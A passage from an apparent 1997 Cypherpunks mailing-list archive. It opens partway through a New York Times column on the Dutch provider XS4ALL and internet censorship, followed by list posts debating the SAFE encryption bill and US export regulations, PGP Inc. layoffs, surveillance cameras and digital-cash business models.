was also hampering scientific work -- which DFN has been established to nurture. Not to mention that skilled Internet users could route around the obstacle by using a remailing system or a proxy server located abroad. What's more, Radikal Magazine can be found on several dozen "mirror sites" around the world. Ten days later -- after being flooded by protests -- the German network lifted the ban on XS4ALL. "An effective blockage of illegal information has not been within the realms of possibility," Klaus-Eckart Maass, a DFN spokesman, conceded in an interview with The Associated Press. Now, this happened the very same week as the indictment of a German manager of CompuServe, a leading international online service, for the transmission of allegedly illegal materials over the Internet and as the German Parliament opened discussions on a new multimedia law. The new bill would place the responsibility for content on the supplier of the data, thus Internet service providers would not be held liable for illegal information that could pass over their wires unless they have been alerted and "have the technical ability" to delete or block it -- the very same scheme the German academic network found impossible to enforce. It was not the first time XS4ALL had been at the forefront of an Internet skirmish. Last September, most German ISPs blocked XS4ALL for a month after complaints by a regional prosecutor about Radikal. (In January Angela Marquardt, a Bavarian socialist politician, was indicted for linking to the banned magazine from her personal home page). "After a couple of weeks, the censored information was mirrored on some 50 Web sites around the world and voluntarily removed by our user from the XS4ALL server," the company's founder, Felipe Rodriquez, 28, explained. "After the block had ended, our user put the documents back on his page." Along with German prosecutors, the Amsterdam-based provider has lined up a fair list of other adversaries: the McDonald's fast-food chain, the Serbian government and the Church of Scientology, just to name a few. XS4ALL's roots reach into the hacker movement. The venture started out in 1993 "to give anyone the possibility to access the Internet." At that time there were no commercial access providers in Holland. It has grown into a respectable and very successful business in less than four years, yet the principles on which it was created have not changed: "Internet for the masses" is still its motto. XS4ALL currently has 55 employees, boasts 21,000 subscribers and hosts some 6,000 home pages. "A few years ago, we would have been portrayed as a band of dangerous anarchists, bent on disrupting society," Rodriquez told the Dutch daily Trouw. "But now they have come to see that we are nice and quiet people really." The company was instrumental in the creation of the Amsterdam Digital City project, a community networking initiative backed by taxpayer's money, and Rodriquez himself played a key role in setting up the Dutch anti-child-pornography hotline, the first of its kind, last year. "Before we started the hotline, Holland had a reputation of being a kid-porn freehaven," he said in an interview last week. "We designed it as a non-censoring form of self-regulation." The hotline is run by Internet users and providers. Unlike Britain's Internet Watch Foundation, the Dutch hotline doesn't censor any information nor does it ask the provider to do so. Hotline operators contact the author of the information and ask him to remove the offending content. "If the author does not comply, we report him to the police, and he'll be prosecuted," said Rodriquez, who also is chairman of the Dutch Providers Association. "The Internet Watch Foundation forces the provider to remove the illegal content," he added. "This is a fundamentally different approach to responsibilities on the Internet. We think the author of the information is responsible for his own actions, not the provider." That's why XS4ALL didn't take any steps against the customer who posted Radikal Magazine on its server. "Our policy is that as a provider we are not in the position to judge whether this magazine is illegal in the Netherlands, therefore we do not interfere with our users' freedom of speech," Rodriquez stated. "If there is any doubt about the legality of the publication in Holland, a Dutch court of law would be the proper place to remove these doubts," he added. This was the case when, in September 1995, the Religious Technology Center -- better known as the Church of Scientology -- filed for the seizure of all the XS4ALL computer equipment "because one of our users had put on his home page some information to which Scientology said it owned the copyright." The document -- the now famous "Fishman affidavit" -- is the actual transcript of a testimony given by Steven Fishman in a Los Angeles Court in which he accused the church of having forced him to act illegally. "We denied any responsibility for the content on our users' pages; they decide for themselves what they will publish," Rodriquez recalled. "We won the litigation." The user preferred to take down the controversial document. Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to comply, as it did a few weeks ago when it shut down a customer's home page called Neuroroom, which sold marijuana and other soft drugs in Holland and abroad. The company's commitment to support free expression and democratization of the Internet doesn't stop here. Last fall when the Serbian government censored radio station B-92, XS4ALL helped design an Internet campaign and started to carry news broadcasts (in RealAudio format) that kept the rare opposition voice alive and the international public informed through independent accounts of the events occurring during the mass demonstrations in Belgrade. "They gave us disk space, donated network traffic and helped in training people," said Frank Tiggelaar, a Dutch activist for democratization in former Yugoslavia. "Basically any project we like gets free resources from XS4ALL," Rodriquez commented. The campaign of Helen Steel and Dave Morris is among the projects XS4ALL's old hackers do like. The two British environmentalists are the main characters of a civil case that started in 1990 when the McDonald's restaurant chain sued them for distributing flyers pointing at what they called the company's economic and ecological "ravages." The trial is not over yet -- but it has spawned a large Internet-based support network and fed a huge anti-McDonald's Web site called McSpotlight hosted, not surprisingly, by XS4ALL. EUROBYTES is published weekly, on Tuesdays. Click here for a list of links to other columns in the series. Related Sites Following are links to the external Web sites mentioned in this article. These sites are not part of The New York Times on the Web, and The Times has no control over their content or availability. When you have finished visiting any of these sites, you will be able to return to this page by clicking on your Web browser's "Back" button or icon until this page reappears. Bruno Giussani at eurobytes at nytimes.com welcomes your comments and suggestions. Copyright 1997 The New York Times Company -- XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe at xs4all.nl for Managing Director - - pub pgp-key 1024/A07C02F9 From sameer at c2.net Thu May 1 11:42:00 1997 From: sameer at c2.net (sameer) Date: Fri, 2 May 1997 02:42:00 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: Message-ID: <199705011827.LAA14497@gabber.c2.net> > > Oh, and Sameer, those products you re-export, like Stronghold, may soon be > banned by SAFE. It may not even be legal, even according to current law, > for you to operate out of Anguilla. We don't re-export anything. All development happens outside the US, and all sales to customers outside the US happen from outside the US. As far as operating from Anguilla -- it would require renouncing my US citizenship, yes. -- Sameer Parekh Voice: 510-986-8770 President FAX: 510-986-8777 C2Net http://www.c2.net/ sameer at c2.net From tcmay at got.net Thu May 1 11:47:11 1997 From: tcmay at got.net (Tim May) Date: Fri, 2 May 1997 02:47:11 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: Message-ID: At 8:52 AM -0800 5/1/97, sameer wrote: >> >> The status quo, in our view, is not good enough. Because of the export >> controls and the lack of a coherent US encryption policy, Internet users do >> not have access to the privacy protecting encryption products they need. > > Yes they do. There is a growing international crypto >development industry. The export controls have hampered access to the >products they need, but it has not eliminated said access. > SAFE is one step closer towards making *import* of >cryptography illegal. It's a good thing Anguilla looks like a >relatively reasonable place to live, with people like you "on our >side". In response to my post last night denouncing the SAFE Bill, some sources have informed me (by phone and e-mail) that the whole SAFE thing is of course not being driven by democratic or liberty motives. Rather, it's a move by certain factions of industry to ensure that _some_ of their crypto and Net commerce products can be more freely exported while also ensuring that certain of their foreign competitors cannot enter the U.S. market (hence the re-export clauses). At the risk of using certain cliches, this is a bit like Farben and Krupp getting special legislation making it easier for them to export certain of their products while the law cracks down on both imports of their competitors' products and on civil liberties in general. That CDT and other organizations with "democracy" in their names would shill for such a callow move to aid certain exports while suppressing basic freedoms is regrettable. I can't wait for those "Use a cipher, go to prison" billboards. I predict that the uproar over this "use a cipher, go to prison" bill will eventually equal the uproar over the EFF-supported Digital Telephony (CALEA) Act of 1994. CDT and other organizations leading the charge will never again be able to say their concerns are about civil liberties. Oh, and Sameer, those products you re-export, like Stronghold, may soon be banned by SAFE. It may not even be legal, even according to current law, for you to operate out of Anguilla. (Why, then, does the Administration oppose SAFE? And is this a reason for folks like us to support SAFE? The Administration wants even more draconian restrictions on basic freedoms, and SAFE does not go far enough in restricting freedoms. Besides, with no effective lobbying group for the "libertarian" side of the issue, the Administration knows it can safely (no pun intended) argue against SAFE...worse case, for them, it passes, and all the clauses about law enforcment needs and national security needs keep things at least as bad as they are today, and probably worse. Best case, for them, SAFE is defeated and the way is clear for them to introduce the "Safe Streets and Children's Protection Act of 1997.") --Tim May There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Thu May 1 11:48:44 1997 From: tcmay at got.net (Tim May) Date: Fri, 2 May 1997 02:48:44 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: Message-ID: At 10:27 AM -0800 5/1/97, sameer wrote: >> >> Oh, and Sameer, those products you re-export, like Stronghold, may soon be >> banned by SAFE. It may not even be legal, even according to current law, >> for you to operate out of Anguilla. > > We don't re-export anything. All development happens outside >the US, and all sales to customers outside the US happen from outside >the US. As far as operating from Anguilla -- it would require >renouncing my US citizenship, yes. I'm no expert in these areas, but doesn't this consitute "providing hooks" for strong crypto? The EARs say that a "hook" for inserting crypto modules once a product is exported are essentially as bad as providing the crypto before the product is exported. Also, my understanding is that U.S. companies cannot send experts or programmers to non-U.S. sites with the intention of thereby violating U.S. export laws. (I once asked Jim Bidzos why he did not simply move his key developers beyond the borders, and this is the answer he gave, repeated by others at later times on the CP and other lists. So far as I know, this has never been tested in court. Such a test would be comparable to Bernstein, Junger, Karns, etc. in significance.) --Tim There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From whgiii at amaranth.com Thu May 1 13:02:41 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Fri, 2 May 1997 04:02:41 +0800 Subject: Do government employees have freedom of speech?On Thu, 24 Apr 1997, Adam Back w In-Reply-To: Message-ID: <199705011943.OAA10195@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 05/01/97 at 11:29 AM, Trevor Goodchild said: >Sod.Off. >--- > Trevor Goodchild >On Sun, 27 Apr 1997, snow wrote: >> Pot. Kettle. Black. >> Ahhh... an intelectual conversation on CP, who'da thought. :)) - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: It's OS/2, Jim, but not OS/2 as we know it. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 ES000000 iQCVAwUBM2kByY9Co1n+aLhhAQH6jwQAs9VAh+gzdQhqcSCnBYBE47276Z2IBbfl EtEmvGyQk21yL3zHB7wZPCf0CPtKIyiFJvRRwlb8y27Dfh9p54BQttdknv66ejic 9AVHv95Xtr+zv2Slym3Nb9RmXrivRW0V6TPguycpIVj10C5+ae5qDJm6h6wbchkj ra/QrGF4juU= =tx/w -----END PGP SIGNATURE----- From whgiii at amaranth.com Thu May 1 13:08:00 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Fri, 2 May 1997 04:08:00 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: Message-ID: <199705011941.OAA10162@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 05/01/97 at 01:40 PM, Tim May said: >At 10:27 AM -0800 5/1/97, sameer wrote: >>> >>> Oh, and Sameer, those products you re-export, like Stronghold, may soon be >>> banned by SAFE. It may not even be legal, even according to current law, >>> for you to operate out of Anguilla. >> >> We don't re-export anything. All development happens outside >>the US, and all sales to customers outside the US happen from outside >>the US. As far as operating from Anguilla -- it would require >>renouncing my US citizenship, yes. >I'm no expert in these areas, but doesn't this consitute "providing hooks" >for strong crypto? The EARs say that a "hook" for inserting crypto modules >once a product is exported are essentially as bad as providing the crypto >before the product is exported. >Also, my understanding is that U.S. companies cannot send experts or >programmers to non-U.S. sites with the intention of thereby violating U.S. >export laws. (I once asked Jim Bidzos why he did not simply move his key >developers beyond the borders, and this is the answer he gave, repeated by >others at later times on the CP and other lists. So far as I know, this >has never been tested in court. Such a test would be comparable to >Bernstein, Junger, Karns, etc. in significance.) It is my understanding that not only is the above true but the financing of the development of crypto off-shore is also made illegal by the new restrictions. So if C2Net were to hire an independent foreign co. to develop their international version it would be in volation of the current regs even if no code was exported. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: I don't do Windows, but OS/2 does. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 ES000000 iQCVAwUBM2kBZI9Co1n+aLhhAQGMSgP8CzO+KYpsR+PWK2Ukxowxm6mCb+cfsmkm 7P8lakJ51Pvw19fR9lADPpNPkztjMRffIiY00sBZzq01xCyPS4IkK/+vwmfkmCSX 722rNi9ruP9yyJPMTxlqcxgcYrkKXdZtvmmhlVglu08cqp/rVOE6gotHZYHA1XEh wVPP4/CpANU= =Uny/ -----END PGP SIGNATURE----- From jeffb at issl.atl.hp.com Thu May 1 13:09:55 1997 From: jeffb at issl.atl.hp.com (Jeff Barber) Date: Fri, 2 May 1997 04:09:55 +0800 Subject: Bombs Away, from The Netly News Network In-Reply-To: Message-ID: <199705011950.PAA24272@jafar.issl.atl.hp.com> Declan McCullagh writes: > "A > member of the DoJ committee accessed a single web site > on the World Wide Web and obtained the titles of 110 > different bomb-making texts." I wonder if this was a bookstore. I did a search for "explosives" on amazon.com and came up with at least that many titles. Only a handful were of the Anarchist's Cookbook ilk. Most were academic or industrial studies; a few were from US Govt or Govt-affiliated organizations. -- Jeff From whgiii at amaranth.com Thu May 1 13:14:23 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Fri, 2 May 1997 04:14:23 +0800 Subject: Privacy news: Oakland Cameras, Levi employee files, FileGate In-Reply-To: Message-ID: <199705011921.OAA09906@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 05/01/97 at 12:31 PM, Paul Bradley said: >> Bay Alarm said that some British cities have dealt with privacy fears by >> setting up monitoring centers away from city and police offices, >> where tapes are kept in case a crime occurs -- crime victims can call up >> the police and ask them to play back tapes, said Mark Demier of Bay Alarm. >> The camera systems are also capable of taking pictures in the dark. >Not just cities, quite small towns and residential areas have now taken >to using citizen-units tax money installing systems to spy on the very >same people. I have now taken to not visiting a town near me (Hastings) >because of the CCTV systems in place. Not content with spying on citizens >going about their business in towns a number of state funded colleges and >universities are now installing CCTV systems. Presumably audio "bugs" >will also be in order to ensure the student-units do not say anything >unseemly or hinting at some form of intellectual heresy. >Also, a number of car alarm manufacturers are now producing systems to >track cars using GPS so if the car is stolen the police can track its >movements. I can quite easily envisage a situation in a few years time >when it is mandated that all new cars produced must be fitted with such >systems so that the government can track the movement of citizens. >One cannot now go out of ones own house without being monitored, and for >those of us who are known heretics maybe even that is not true. Well I invision that in 20-30 years all TV's will be two-way (ala 1984) and any LEA will be able to monitor the activities of the serfs a the push of a button. The infrastructure for this is currently being built. With the merging of technologies: cable, INet, TV, Phone, & Computer all that will be needed is the adding of a mic and video camera which will more then likely be standard features of the computer/communication/entertainment equipment. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: Rumour: NT means Not Tested -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 ES000000 iQCVAwUBM2j8to9Co1n+aLhhAQE5gAQAhO+H/+OHVq7tDEHrHwvUfvEcwViyipLk i+UGXM8Olk/7HEb07eUFPyCU2oIvBw2KbPvwEHAKGy3SkccxhQdAaWduuDvZciND HuBwQ2OX8i1Vy4oNOaCRBCxmGDtHVmT2FKC7x0MsZqylUqZdRfTKfrEfl+f9oWrs UWqV6cbRGjU= =Ja++ -----END PGP SIGNATURE----- From sameer at c2.net Thu May 1 13:16:57 1997 From: sameer at c2.net (sameer) Date: Fri, 2 May 1997 04:16:57 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: <199705011941.OAA10162@mailhub.amaranth.com> Message-ID: <199705011947.MAA17020@gabber.c2.net> > > It is my understanding that not only is the above true but the financing of > the development of crypto off-shore is also made illegal by the new > restrictions. So if C2Net were to hire an independent foreign co. to > develop their international version it would be in volation of the current > regs even if no code was exported. That is an incorrect understanding of the law. -- Sameer Parekh Voice: 510-986-8770 President FAX: 510-986-8777 C2Net http://www.c2.net/ sameer at c2.net From tcmay at got.net Thu May 1 13:17:31 1997 From: tcmay at got.net (Tim May) Date: Fri, 2 May 1997 04:17:31 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: Message-ID: At 11:43 AM -0800 5/1/97, William H. Geiger III wrote: > >It is my understanding that not only is the above true but the financing of >the development of crypto off-shore is also made illegal by the new >restrictions. So if C2Net were to hire an independent foreign co. to >develop their international version it would be in volation of the current >regs even if no code was exported. > Yes, that's what the language said when the ITARs got switched over to EARs and Commerce took over. I have no idea how Sameer's C2Net finances the offshore development of Stronghold development, etc., but it's possible the Administration could decide to make an example of them. The gist of the laws is that "loopholes" are being closed down one by one. --Tim May There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jya at pipeline.com Thu May 1 13:40:13 1997 From: jya at pipeline.com (John Young) Date: Fri, 2 May 1997 04:40:13 +0800 Subject: ECR_ypt Message-ID: <1.5.4.32.19970501200616.00922948@pop.pipeline.com> Two news reports on Big Bro e-cards: 1. E-Pass -- a UK product that is both smart card and PC, will have one or more screens, and hopes to dominate the global government and business market for all-CU-data-in-one-easily-tracked-device. 2. Proton -- Belgium's cartel card, the mostly widely used device to en-SAFE Belgians, and a candidate to be recruited by Visa or MasterCard or Mondex or Halliburton or Armadillo US/UK/AUS. And a report on a speed demon crypto card from Eracom in AU, which claims to be "the world's first PC-based PCI bus cryptographic processor which can punch through cryptographic traffic at up to 30 times the speed of ISA bus products." ----- ECR_ypt or http://jya.com/ecrypt.txt From sameer at c2.net Thu May 1 13:46:03 1997 From: sameer at c2.net (sameer) Date: Fri, 2 May 1997 04:46:03 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: <199705012023.PAA10686@mailhub.amaranth.com> Message-ID: <199705012028.NAA19546@gabber.c2.net> > described further in part 744 of the EAR. There are no License Exceptions Read part 744 before you try to be a net.laywer. -- Sameer Parekh Voice: 510-986-8770 President FAX: 510-986-8777 C2Net http://www.c2.net/ sameer at c2.net From whgiii at amaranth.com Thu May 1 13:48:09 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Fri, 2 May 1997 04:48:09 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: <199705011947.MAA17020@gabber.c2.net> Message-ID: <199705012023.PAA10686@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199705011947.MAA17020 at gabber.c2.net>, on 05/01/97 at 01:47 PM, sameer said: >> >> It is my understanding that not only is the above true but the financing of >> the development of crypto off-shore is also made illegal by the new >> restrictions. So if C2Net were to hire an independent foreign co. to >> develop their international version it would be in volation of the current >> regs even if no code was exported. > That is an incorrect understanding of the law. Below is the paragraph of the EAR that I am refering to: PART 736--[AMENDED] 19. Section 736.2 is amended by revising paragraph (b)(7) to read as follows: Sec. 736.2 General prohibitions and determination of applicability. * * * * * (7) General Prohibition Seven--Support of Certain Activities by U.S. persons--(i) Support of Proliferation Activities (U.S. Person Proliferation Activity). If you are a U.S. Person as that term is defined in Sec. 744.6(c) of the EAR, you may not engage in any activities prohibited by Sec. 744.6 (a) or (b) of the EAR which prohibits the performance, without a license from BXA, of certain financing, contracting, service, support, transportation, freight forwarding, or employment that you know will assist in certain proliferation activities described further in part 744 of the EAR. There are no License Exceptions to this General Prohibition Seven in part 740 of the EAR unless specifically authorized in that part. (ii) You may not, without a license from BXA, provide certain technical assistance to foreign persons with respect to encryption items, as described in Sec. 744.9 of the EAR. * * * * * It clearly states that such activity is Illegal. I would recomend that your lawers take a second read of the EAR. I personaly don't care if you are in voilation of the EAR or not but you should be aware of where you stand inreguards to this regulation so there are no "suprises" latter on. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: I went window shopping...and bought OS/2! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 ES000000 iQCVAwUBM2kLNY9Co1n+aLhhAQF+RgQAlQ+hN4fWiFYZLqoay7WA3BD1vP59ksSB +adrplsz7ndr7J+Zn/2hzKC+/++3/q857eGSi2eR0wrLmJshrUiHDMdBLWt+5/Rd oEvt2q436Mt/c2Cg+IlHpVagxqXS6H7SLj+eeeLMjAHRAYMXU426tLxNYbexpmxj rVuR0EVf0gM= =91jP -----END PGP SIGNATURE----- From root at nwdtc.com Thu May 1 13:50:36 1997 From: root at nwdtc.com (Super-User) Date: Fri, 2 May 1997 04:50:36 +0800 Subject: Layoffs at PGP Message-ID: <3368FF82.4EDB@teleport.com> http://www.wired.com/news/business/story/3543.html I what part of the employee base was purged? Anyone we know? Sounds like PGP sold their soul to the company store... (or the corporate binge and purge mentality.) [arrow] PGP Pretty Good on Privacy of Layoff Details by Kristi Coale 6:09pm 30.Apr.97.PDT In keeping with its core technology - information security - Pretty Good Privacy was tight-lipped about the details of the layoffs it announced to employees Tuesday morning. "We prefer not to mention the number as we are a privacy company, but it was small in number and limited in scope," spokesman Mike Nelson told Wired News on Wednesday. The layoffs are part of what Nelson described as a shift in the company's strategy from developing products for protecting individual privacy to being a security specialist for the Fortune 500. Analysts say this rejiggering of priorities is not a drastic one, pointing to the 24 March purchase of ZoomIt, a company that specialized in corporate, enterprise-wide security systems. The shift represents a maturation of a company that built its reputation through a type of grass-roots organizing: distributing its products through freeware, said Ezra Gottheil, director of Internet business strategies in Newton, Massachusetts. "They're a real Internet company. They're also an ambitious company that sees it's time to move into corporate IS departments," Gottheil said. Part of that shift may mean that Internet Fast-Forward, an ad-filtering technology developed by PrivNet, which PGP acquired last November, will take a back seat - perhaps permanently. Although PGP wouldn't say that it is pulling the plug on the product, Fast-Forward is considered a "lower priority" than other developments, Nelson said. "Internet Fast-Forward is not as closely related to the tools we develop for individuals for privacy," he said. And the fact that Fast-Forward filters ads which are an "inimical part of some of the emerging Web commerce models ... we don't want to hinder this development." Nelson wouldn't say whether the layoffs affected anyone in PrivNet but noted that the acquisition generated engineering talent PGP wanted. That technical know-how along with other resources are being focused on centralized corporate security systems. In fact, the company has put out a casting call for more engineers to satisfy its resource dearth in research and development in this area. Ultimately, all of these adjustments could simply be PGP's preparation to woo the investors it seeks for a public offering. Although PGP has no immediate plans to go public, company officials intend to review these investment schedules this summer, Nelson said. Related Wired Links: PGP's Export Solution: Stamps, Envelopes by James Glave PGP Zooms into Corporate Security by Spencer E. Ante PGP Lets You Take Charge of Your Cookies by James Glave Beat That Tap - It's PGP For Sale by David Lazarus [arrow] [Image] Find Read a story in the Wired News archive. Feedback Let us know how we're doing. TipsHave a story or tip for Wired News? Send it. Copyright � 1993-97 Wired Ventures, Inc. and affiliated companies. All rights reserved. From rah at shipwright.com Thu May 1 14:08:27 1997 From: rah at shipwright.com (Robert Hettinga) Date: Fri, 2 May 1997 05:08:27 +0800 Subject: Why I delete cc;s to other mailing lists In-Reply-To: <199705010441.FAA00950@server.test.net> Message-ID: At 3:08 am -0400 on 5/1/97, Tim May wrote: > just as Bob > Hettinga has the right to run _his_ list (or lists) as he wishes, Just for the record, here, I should note that e$ is completely unmoderated, though I've been sorely tempted (he said, dislocating his arm to pat himself on the back...). e$pam, on the other hand, as a filter of other lists (whenever it's running, that is... :-/), is a non-interactive, one-way channel from me to the rest of the universe. :-). It don't say e$pam until I say it says e$pam, in other words. I'm just providing an opinion; letting people read over my sholder, and all that. So, I don't feel like I'm "censoring" anyone, in that regard. Cheers, Bob ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From rah at shipwright.com Thu May 1 14:11:46 1997 From: rah at shipwright.com (Robert Hettinga) Date: Fri, 2 May 1997 05:11:46 +0800 Subject: Bypassing the Digicash Patents In-Reply-To: Message-ID: At 5:09 am -0400 on 4/30/97, Adam Back wrote: > No offense Bob, but your pose takes some reading, too full of ^^^^ Freudian slip? > metaphors, Consider yourself yet another victim of this philosophy major's penchant for WFFy reason-by-analogizing (Wow. Almost as good as jya there... Thankyewverramuch). > but I grok what you're saying, and the topic discussed here > I find interesting. Glad to oblige... > How about this, rather than interface your ecash system with US > dollars yourself through credit cards/ debit cards/ cheques / cash, > just set up an entirely disconnected system. Nah. I want to have real money backing it up. Any attempt to make money less negotiable reduces its usefulness. Remember the Soviet Ruble? An extreme example in the opposite direction, surely, but you get the idea. > You may remember the digicash trial mint. It was monopoly money, > theoretically it was worthless. However people were selling freebees > for it (the odd T-shirt, cap etc), plus images, programs. Also it was > collectable in the sense that there was a limited mint. Yup. Remember, it was Rich Lethin and I who set up ecm at ai.mit.edu, which was a market where those digital cash certificate could be exchanged for cash. Lucky Green sold the first ones, and Mark Grant(?) even put up a web page to simplify things, using the list as a "tickertape" to announce trades. All of which actually proves my point. Because the market actually *did* route around the lack of exchangeability. It's much better, of course, to build exchangeability into a digital bearer certificate market from the outset. Money's supposed to be negotiable, after all. :-). What we have here is more a question of a business model rather than a problem with cryptographic protocol. > However this means you've got to trust the bank not to mint unlimited > amounts of money for it's own use. Right. That's why you have a separate trustee holding the reserve capital. Again, it's using the right business model, and not necessarily cryptography, which makes a market happen. Blind signatures and hash collisions are necessary, but not sufficient, for the market to exist. Anyway, in the first stages, I claim a trustee should be an actual, real, um, "hoity-toity", bank. In the same way that SET and Cybercash and ATM machines "blind" their transactions through the host bank onto a settlement network to the customer's own bank, there can be sufficient blinding of the transaction through the trustee so that the only thing the trustee sees is a confirmation to pay and a settlement wire from the cash purchaser's bank. Of course, at some point, the trustee can just hold other bearer certificates instead of keeping the issuer's reserves in book-entry assets. When there are other bearer certificates to hold, anyway... How you issue those certificates mechanically is not nearly as important as the fact that you *can* issue them uniquely. Ideas like hashcash and micromint work real well for very small transactions, for example, precisely because of the cost to generate the first one in the series, which forces you to print a whole bunch of subsequent ones to pay for the computational resources you've used. However, once again, um, no offense, what cryptographic protocol you use to generate the certificate is the functional equivalent of doodling, the process which makes those complex graphic fills on paper currency which were designed to moire up any attempt to photoengrave a certificate copy. The point is, you need cryptography for a digital bearer certificate market, but it's not sufficient to create that market. > But if you've got multiple banks then you've got to have an exchange > mechanism. The market could probably take care of this, setting > exchange rates based on banks reputations. Exactly. For instance, (hint, hint) if someone were to build Eudora/Netscape/Quicken plugins for FSTC electronic checks, and a plug-and-play deposit server for banks to receive them and convert them into ACH transactions, who says you need the ACH system to settle the checks anymore? All the different bank servers could just clear against themselves on the net at some point, cutting their ACH fees out completely. Someday. > However it would be nicer to have something which required no trust > and which had no posssibility of cheating rather than relying on > reputation to sort them out. Actually, I think there is no such thing as finance without reputation. :-). I'd be very interested to see how you can prove otherwise... > The problem with anonymous ecash to continue your metaphor is that > .WK1 files also happen to be illegal or surrounded by huge amounts of > banking regulations. So even though the new system is better the > negative forces acting against so far have succeeded in stifling it. Nah. Reality is not optional. :-). Ask all the former 30xx COBOL-jocks out there. Remember, crime is orthogonal to technology. Bank robbery (these days, anyway) is an artifact of automobile and firearm technology. The other uses for automobiles are cetacean in comparison to the krill of "automobile crimes" like bank robbery . Firearms, unfortunately, are in the same boat. Like nuclear power, we have bans on guns because we can "afford" to have them. People don't hunt for food anymore. I think that's why heavily populated countries have fewer guns. You don't need them to eat, and even if you did, you'd starve, because all the food was hunted out long ago... BTW, it seems to me that hoplophobia, like innumeracy, is practically a luxury. At least until the state shows up at your door in black pajamas and asks you to put on some orange ones of your own for this cool sleepover they're having a few miles out of town . > One of the negative forces also is user stagnation, people are used to > cheques and credit cards, even if they are inefficient and prone to > fraud. I, for one, think the whole concept of "path dependency" is bunk, but let's not clog the list with discussions of roman wheel ruts, QWERTY keyboards, and the devine right of Windows... Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From rah at shipwright.com Thu May 1 14:14:52 1997 From: rah at shipwright.com (Robert Hettinga) Date: Fri, 2 May 1997 05:14:52 +0800 Subject: House subcom. passes crypto bill, USDoJ letter to panel In-Reply-To: Message-ID: At 1:21 am -0400 on 5/1/97, Bill Frantz wrote: > At 4:36 PM -0700 4/30/97, Declan McCullagh quoted: > > ... threats posed by terrorists, organized > > crime, child pornographers, drug cartels, > > financial predators, ^^^^^^^^^^^^^^^^^^^ > Wow! The four horsemen are now eight (or more). Ah. Capitalism is now a crime. Funny how that's not surprising, coming from a government whose rose-colored lenin-glasses have redfiltered the American flag out of existance... Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York 